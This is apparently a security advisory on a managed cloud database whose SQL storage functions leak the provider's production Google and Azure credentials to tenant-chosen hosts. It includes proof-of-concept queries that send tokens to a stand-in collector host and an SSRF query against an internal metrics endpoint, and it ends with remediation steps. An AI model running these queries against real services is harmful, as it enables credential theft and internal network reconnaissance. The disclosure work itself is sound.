SQL Functions in a Cloud Database Console Steal the Provider's Production Cloud Credentials
The Risk
A customer on the free tier of this managed database service could run ordinary database queries that trick the service into handing over the master keys to its own cloud infrastructure. With a single query a tenant captured a live access token belonging to the provider's own production systems, and the same trick worked against two different major cloud providers. That kind of token can unlock the company's internal storage and services. A weaker version of the same flaw let a tenant peek inside the provider's private network and map the machines that every customer's data runs on. No special access was needed beyond a normal account.
The Vulnerability
The platform gives every tenant a SQL console against their own database service. The database engine ships several functions and storage engines that fetch data from remote locations: a general remote-fetch table function, a data-lake catalog engine, and an object-storage table function. These are part of the open-source database engine, exposed directly to tenants in the query layer.
The basic remote-fetch function is guarded by an egress filter (a host allow-list and a header filter that strips sensitive request headers). The problem is that the cloud-integration code paths do not go through that same filter. When a tenant points one of the cloud storage engines at a destination they control, the engine first asks the cloud platform's instance metadata service for an access token for the database server's own identity, then attaches that token as an Authorization: Bearer header to a request sent to the tenant-controlled address. The tenant therefore receives the provider's own freshly minted cloud credential at an endpoint they own.
The destination is fully tenant-controlled, the token is the shared production data-plane identity (not a per-tenant credential), and the cloud-SDK request paths never apply the header filter that protects the basic function. That combination is the whole bug.
The Attack
Everything runs in the tenant's own SQL console as ordinary SQL. The stolen token does not appear in the query result; it leaves in the request headers of the call the database makes, so it is observed at a collector that simply logs incoming request headers. No victim interaction is involved.
Stealing a Google Cloud production token
On a service hosted in a Google-cloud region, the tenant enables an experimental database setting (a beta-tier toggle the platform does not currently restrict) and creates a data-lake catalog database whose base URL is the attacker's collector. When the catalog is first accessed, the engine mints a Google access token from the cloud metadata service and sends it to the collector:
SET allow_experimental_catalog = 1;
CREATE DATABASE poc
ENGINE = RemoteCatalog('https://collector.example.com/path')
SETTINGS catalog_type = 'cloud_catalog',
metadata_service = 'metadata.internal',
service_account = 'default';
SHOW TABLES FROM poc; -- triggers the outbound call The collector receives a request carrying a live Google OAuth2 access token for the provider's production data-plane service account, scoped for full cloud-platform access and valid for about an hour. The token is re-mintable on demand by re-running the query, and the service-account field is attacker-controlled, so any identity exposed on the instance metadata can be minted the same way. A read-only token-info lookup confirmed the identity, scope, and expiry without ever using the token against a resource.
Stealing a Microsoft Azure production token
On a service hosted in a Microsoft-cloud region, the same class of flaw needs only a single query and no experimental setting. The object-storage table function, called with a bare storage URL and no credentials, makes the cloud SDK fall back to the pod's managed identity, mint a bearer token, and attach it to a request sent to the tenant-controlled URL:
SELECT * FROM objectStorage('https://collector.example.com', 'container', 'b');
-- query returns a harmless format error;
-- the managed-identity token has already left in the request headers The collector receives a live Microsoft Entra access token scoped for cloud storage, belonging to the provider's production data-plane managed identity and valid for about a day. The token's own claims spell out the full internal resource path of that production managed identity. As with the Google case, it is re-mintable at will.
Mapping the internal cluster
The basic remote-fetch function is still a working internal Server-Side Request Forgery primitive, just without credential theft. From a tenant query it reads the full HTTP response body of an internal cluster service that tenants should never reach:
SELECT * FROM httpFetch('http://internal-dns.cluster.local:9153/metrics') LIMIT 400; That body leaks a precise map of the shared control plane: the internal Kubernetes API server address, the upstream DNS resolver, and software versions usable for targeted exploit selection. The same sink also accepts attacker-supplied request headers and arbitrary host and port, and a sibling network function works as a TCP-connect oracle over the flat internal pod network, returning a clean three-state result (open, refused, filtered) per probe and leaking the internal pod IP of every host it touches, including the database coordination nodes. In short, it is an internal-network reachability and port-scan tool, not a single fixed read.
The Impact
The two cloud-token cases are direct theft of the provider's production infrastructure credentials, shared across all tenants in that environment, reachable by any authenticated free-tier customer with no elevated role:
- Google cloud: a live full-access (
cloud-platformscope) token for the production data-plane service account, re-mintable on demand, with any metadata-exposed identity selectable. - Microsoft cloud: a live cloud-storage token for the production data-plane managed identity, valid about a day, re-mintable on demand, a foothold into the provider's cloud environment with that identity's privileges.
- Internal reconnaissance: an authenticated, non-blind read of a shared control-plane service plus a cross-pod internal port-scan and reachability oracle with internal-IP disclosure across the shared network.
The credential-theft cases are Critical: they are not reconnaissance, they are possession of live production cloud credentials. The bounds were tested honestly and documented. On the third major cloud provider the equivalent path is network-blocked: egress to the instance metadata service is filtered, so the storage SDK signs with a placeholder and no real credential leaks. The internal-recon case is bounded too (one control-plane service body is reachable for an HTTP read; the cloud metadata service, the Kubernetes API server, and internal datastores all time out), which is why that piece on its own is High rather than Critical. The consolidated finding is rated by its worst confirmed outcome: production cloud-credential theft.
Remediation
- Put every cloud-integration and metadata HTTP client behind the same egress controls as the basic remote-fetch function: a host allow-list and the sensitive-header filter. The cloud-SDK paths must not be exempt.
- Never let a tenant-supplied destination trigger the database's own managed or service-account identity to mint a token that is then sent to an arbitrary host. Require explicit credentials, or block identity fallback, for tenant-invoked storage and catalog functions.
- Block tenant-supplied metadata-service hosts from resolving to the real instance metadata endpoint.
- Restrict experimental and beta-tier database-engine settings for tenant sessions so they cannot enable the vulnerable engines.
- Apply network egress policy at the database pod so internal control-plane services, coordination nodes, and the cloud metadata service are unreachable from tenant query traffic.